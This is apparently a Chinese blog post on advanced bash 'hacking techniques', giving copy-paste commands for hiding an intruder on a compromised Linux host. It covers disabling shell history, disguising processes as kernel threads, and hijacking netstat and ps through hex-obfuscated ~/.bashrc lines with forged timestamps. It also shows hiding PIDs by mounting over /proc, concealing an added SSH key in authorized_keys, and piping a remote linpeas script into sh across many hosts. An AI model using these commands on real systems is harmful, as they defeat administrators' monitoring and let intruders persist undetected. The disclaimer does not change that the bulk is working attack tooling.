❝
Bash,即“Bourne Again SHell”,是Unix操作系统中流行的命令行界面和脚本语言。它是Bourne Shell(sh)的升级版。Bash提供了许多功能,如命令历史、作业控制和文件名补全,使其比其前身更加用户友好。
Shell通常是用户与操作系统交互的命令行界面,通过执行命令来实现。有多种Shell类型,包括Bash、sh、ash、bsh、csh、ksh、zsh、pdksh和tcsh,每种Shell都有其独特的特性和语法。Bash和Shell对于道德黑客、渗透测试人员和漏洞赏金猎人来说都是必不可少的工具,因为它们提供了一个强大的界面,用于执行命令、自动化任务和利用系统中的漏洞。
❞
1.1让 Bash 没有历史记录:
Bash 使用/dev/null而不是~/.bash_history。这是我们在每个 shell 上执行的第一个命令。它将阻止 Bash 记录您的命令。
export HISTFILE=/dev/null
unset SSH_CONNECTION SSH_CLIENT
(如果我们使用 SSH 登录,我们还会清除 SSH_* 变量。否则我们启动的任何进程都会在 /proc/self/environ 中获取 IP 的副本。)
退出 shell 时“kill”是很好的内务管理:
alias exit='kill -9 $$'
任何以“”(空格)开头的命令也不会记录到历史记录中[1]。
$ id
1.2隐藏你的命令 / Daemonzie 你的命令
隐藏为“syslogd”。
(exec -a syslogd nmap -T0 10.0.2.1/24) # Note the brackets '(' and ')'
启动后台隐藏进程:
(exec -a syslogd nmap -T0 10.0.2.1/24 &>nmap.log &)
在GNU 屏幕[2]中启动:
screen -dmS MyName nmap -T0 10.0.2.1/24
### Attach back to the nmap process
screen -x MyName
或者,如果没有 Bash:
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -T0 10.0.2.1/24
在此示例中,我们执行nmap,但让它以名称syslogd出现在ps alxwww进程列表中。
1.3隐藏您的命令行选项
使用zapper[3]:
# Start Nmap but zap all options and show it as 'klog' in the process list:
./zapper -a klog nmap -T0 10.0.0.1/24
# Same but started as a daemon:
(./zapper -a klog nmap -T0 10.0.0.1/24 &>nmap.log &)
# Replace the existing shell with tmux (with 'exec').
# Then start and hide tmux and all further processes - as some kernel process:
exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux
1.4隐藏网络连接
诀窍是劫持netstat并使用 grep 来过滤掉我们的连接。此示例过滤端口 31337或ip 1.2.3.4 上的任何连接。对于ss(netstat 替代方案)也应该做同样的事情。
方法 1 - 在 ~/.bashrc 中隐藏与 bash-function 的连接
剪切并粘贴此行以将行添加到 ~/.bashrc
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc
&& touch -r /etc/passwd ~/.bashrc
或者将其剪切并粘贴到 ~/.bashrc 中以混淆条目:
X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }'echo "eval $(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>~/.bashrc
&& touch -r /etc/passwd ~/.bashrc
~/.bashrc 的混淆条目将如下所示:
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG
方法 2 - 隐藏与 $PATH 中的二进制文件的连接
在 /usr/local/sbin 中创建一个假的 netstat 二进制文件。在默认的 Debian(和大多数 Linux)上,PATH 变量 ( ) 在 /usr/bin之前echo $PATH列出 /usr/local/sbin 。这意味着我们的劫持二进制文件 /usr/local/sbin/netstat 将被执行,而不是 /usr/bin/netstat。
echo -e "#! /bin/bash
exec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4" >/usr/local/sbin/netstat
&& chmod 755 /usr/local/sbin/netstat
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat
1.5以用户身份隐藏进程
继续“隐藏连接”,可以使用相同的技术来隐藏进程。此示例隐藏了 nmap 进程,并通过将其重命名为 GREP 来确保我们的进程grep不会出现在进程列表中:
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >>~/.bashrc
&& touch -r /etc/passwd ~/.bashrc
1.6以 root 身份隐藏进程
这需要 root 权限,并且是一个古老的 Linux 技巧,通过使用无用的目录过度安装 /proc/
hide()
{
[[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; }
_pid=${1:-$$}
[[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; }
local _argstr
for _x in "${@:2}"; do _argstr+=" '${_x//'/'"'"'}'"; done
[[ $(bash -c "ps -o stat= -p $$") =~ + ]] || exec bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr"
bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr"
}
要隐藏命令,请使用:
hide # Hides the current shell/PID
hide 31337 # Hides process with pid 31337
hide sleep 1234 # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null & # Starts and hides 'sleep 1234' as a background process
1.7 隐藏 shell 脚本
上面我们讨论了如何混淆 ~/.bashrc 中的一行。一个经常使用的技巧是使用source替代。source 命令可以缩短为.(是的,一个点),它还会搜索 $PATH 变量以查找要加载的文件。
在此示例中,我们的脚本prng包含上面的所有 shell 函数。这些功能隐藏了nmap进程和网络连接。最后我们添加. prng到系统范围的 rc 文件中。这将prng在用户(和 root)登录时加载:
echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }
ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc
(同样适用于lsof、ss和ls)
1.8 CAT
ANSI 转义字符或简单的r(回车符[4])可用于隐藏cat其他人。
隐藏最后一个命令(例如id:)~/.bashrc:
echo -e "id #\033[2K\033[1A" >>~/.bashrc
### The ANSI escape sequence \033[2K erases the line. The next sequence \033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.
注意:我们使用echo -e转换\033为 ANSI 转义字符(十六进制 0x1b)。
添加r(回车符)对于隐藏您的 ssh 密钥有很大帮助cat:
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' wont show
### it. The $'r' is a bash special to create a r (carriage return).
1.9 使用单独的日志文件并行执行*
并行扫描 20 个主机并将每个结果记录到单独的日志文件中:
# hosts.txt contains a long list of hostnames or ip-addresses
cat hosts.txt | parallel -j20 'exec nmap -n -Pn -sCV -F --open {} >nmap_{}.txt'
注意:该示例使用exec最后一个进程(nmap、gsexec)替换底层 shell。它是可选的,但会减少运行的 shell 二进制文件的数量。
使用 40 个工作线程在所有gsocket[5]主机上执行Linpeas :[6]
# secrets.txt contains a long list of gsocket-secrets for each remote server.
cat secrets.txt | parallel -j40 'mkdir host_{}; exec gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>host_{}/linpeas.err'
注意:xargs -P20 -I{}这是另一种好方法,但它无法将每个输出记录到单独的文件中。
❝
欢迎访问我们的网站和关注我们的公众号,获取最新的技术共享内容、创新想法和安全知识。
网站:https://hackerchi.top
互联网信息流:https://hackerchi.top/Feeds.html微信公众号:黑客驰
❞
💡免责声明本文为技术共享文章,仅有教育交流目的,不构成任何法律或专业建议。读者应自行承担使用该文章所产生的风险和责任。作者和组织不对使用该文章所引起的任何损失或损害负责。本文严禁提供、讨论或鼓励任何网络安全违法行为。请遵守法律法规,进行合法的技术共享活动。
👉请大家关注我们的公众号"黑客驰",收藏我们的文章,转发给你的朋友们,让更多的人了解到这些有用的知识!网站是实时更新的,公众号每天只有1次机会,不想错过关键内容的话,推荐您访问官网[7],如果能给个免费的赞!或者打赏点咖啡钱更好!阿哈哈哈哈
参考资料
原文始发于微信公众号(黑客驰):高级黑客技术-1.bash / shell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论